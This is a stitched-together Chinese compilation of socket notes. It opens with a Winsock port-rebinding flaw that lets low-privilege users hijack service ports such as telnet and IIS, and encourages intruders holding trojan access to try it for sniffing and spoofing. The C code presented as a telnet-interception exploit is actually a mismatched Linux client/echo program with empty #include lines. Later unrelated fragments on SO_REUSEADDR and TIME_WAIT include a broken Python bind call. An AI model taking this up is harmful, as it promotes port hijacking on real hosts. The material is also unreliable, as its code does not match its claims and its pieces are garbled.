在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = htonl(INADDR_ANY); bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
在系统已开放的端口上进行通讯,只对输入的信息进行字符匹配,不对网络数据进行任何拦截、复制类操作,所以对网络数据的传输性能丝毫不受影响。
建立连接后服务端程序占用极少系统资源,被控端不会在系统性能上有任何察觉,通常被后门木马所利用。
这意味着什么?意味着可以进行如下的攻击:
其实,MS自己的很多服务的SOCKET编程都存在这样的问题, telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也 都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这 个漏洞。
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
#include
#include
#include
#include
#include
#include
#include
#include
#include
//远程服务器端口和IP
#define PORT 1987
#define HOST "192.168.197.118"
//本机服务器端口和IP
#define LOCALPORT 2012
#define LOCALHOST "10.0.2.15"
//线程提供TCP服务器服务,绑定2012端口
void serve_proc(int port)
{
printf("server start listening on port %d\n",port);
int sock_fd;
if ((sock_fd=socket(AF_INET, SOCK_STREAM, 0))==-1){
printf("socket() error\n");
exit(1);
}
struct sockaddr_in server, client;
bzero(&server,sizeof(server));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(LOCALHOST);
int reuseport = 1;
//端口设置重用,不然会bind出错
setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, (const char *)&reuseport, sizeof(int));
if (bind(sock_fd, (struct sockaddr *)&server, sizeof(struct sockaddr_in)) < 0){
perror("bind error");
exit(-1);
}
if (listen(sock_fd,5) < 0) {
perror("listen error");
exit(-1);
}
char recv_buf[100],send_buf[100];
int conn_fd;
int client_size = sizeof(struct sockaddr_in);
while(1){
conn_fd = accept(sock_fd, (struct sockaddr *)&client, &client_size);
if (conn_fd < 0){
perror("accept error");
exit(-1);
}
while(1){
int recv_num = recv(conn_fd, recv_buf, sizeof(recv_buf), 0);
if(recv_num < 0){
close(conn_fd);exit(-1);
}
recv_buf[recv_num] = '\0';
if(strcmp(recv_buf,"quit")==0){
break;
}
printf("server get %s\n", recv_buf);
sprintf(send_buf, "server got %d bytes\n", recv_num);
int send_num = send(conn_fd, send_buf, strlen(send_buf), 0);
if(send_num < 0){
close(conn_fd);exit(-1);
}
}
close(conn_fd);
}
}
int main(int argc, char *argv[])
{
int sock_fd;
struct sockaddr_in server,client;
int flag = 0;
int reuseport = 1;
int local_port = LOCALPORT;
if ((sock_fd=socket(AF_INET, SOCK_STREAM, 0))==-1){
printf("socket() error\n");
exit(1);
}
setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, (const char *)&reuseport, sizeof(int));
//连接其他服务器并发出数据
bzero(&server,sizeof(server));
server.sin_family = AF_INET;
server.sin_port = htons(PORT);
server.sin_addr.s_addr = inet_addr(HOST);
//使用本地指定端口建立TCP连接
struct hostent *he;
he = gethostbyname(LOCALHOST);
bzero(&client,sizeof(client));
client.sin_family = AF_INET;
client.sin_port = htons(local_port);
client.sin_addr = *((struct in_addr *)he->h_addr);;
setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, (const char *)&reuseport, sizeof(int));
if (bind(sock_fd, (struct sockaddr *)&client, sizeof(struct sockaddr_in)) < 0){
perror("bind error");
exit(-1);
}
if (connect(sock_fd,(struct sockaddr *)&server, sizeof(struct sockaddr)) < 0){
perror("connect error");
exit(1);
}
struct sockaddr_in local;
socklen_t local_len = sizeof(local);
//获取TCP连接的本地IP端口信息
getsockname(sock_fd, (struct sockaddr *)&local, &local_len);
char local_ip[100];
inet_ntop(AF_INET, &local.sin_addr, local_ip, sizeof(local_ip));
printf("local host %s and port %d\n", local_ip, ntohs(local.sin_port));
local_port = ntohs(local.sin_port);
//功能一:绑定2012端口提供TCP服务
pthread_t id;
int ret = pthread_create(&id, NULL, (void *)serve_proc, (void *)local_port);
if (ret!=0) {
perror("create thread error");
exit(-1);
}
int send_num, recv_num;
char send_buf[100],recv_buf[100];
LBL:
//功能二:使用2012端口充当客户端访问远程TCP服务器
printf("Input MSG: ");
scanf("%s",send_buf);
send_num = send(sock_fd, send_buf, strlen(send_buf), 0);
if (send_num < 0) {
perror("send error");
exit(1);
}
goto LBL;
}
假如端口被socket使用过,并且利用socket.close()来关闭连接,但此时端口还没有释放,要经过一个TIME_WAIT的过程之后才能使用。为了实现端口的马上复用,可以选择setsockopt()函数来达到目的。
import socket tcp1=socket.socket(socket.AF_INET,socket.SOCK_STREAM) tcp1.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) tcp1.bind('1.1.1.1',12345)
此为tcp的例子,www.2cto.com udp一样
写Socket程序的时候经常会遇到这个问题:如果自己的程序不小心崩溃了,重新启动程序的时候往往会在bind调用上失败,错误原因为 Address Already In Use,往往要等待两分钟才能再次绑定。但是在很多的程序(比如nginx)中好像并不存在这个问题,就算被KILL了也能立刻重启。这个区别还是比较头 痛的。
其实我猜Unix Socket编程这样的书上有讨论过这方面的问题,不过我竟然没有这方面的书籍(完全靠man看来也是行不通啊)。我曾经天真的以为,在收到 SIGTERM这样的信号的时候把所有套接字全部关闭可以解决问题。后来才发现无济于事。Google了这方面的文章才知道,解决这个问题理论上有三种办 法。
s = socket(AF_INET, SOCK_STREAM, 0); /* What you need to do is add the following two line to your code */ unsigned value = 1; setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &value, sizeof(value)); /* Then do other things */listen(s, SOMAXCONN);/* ... */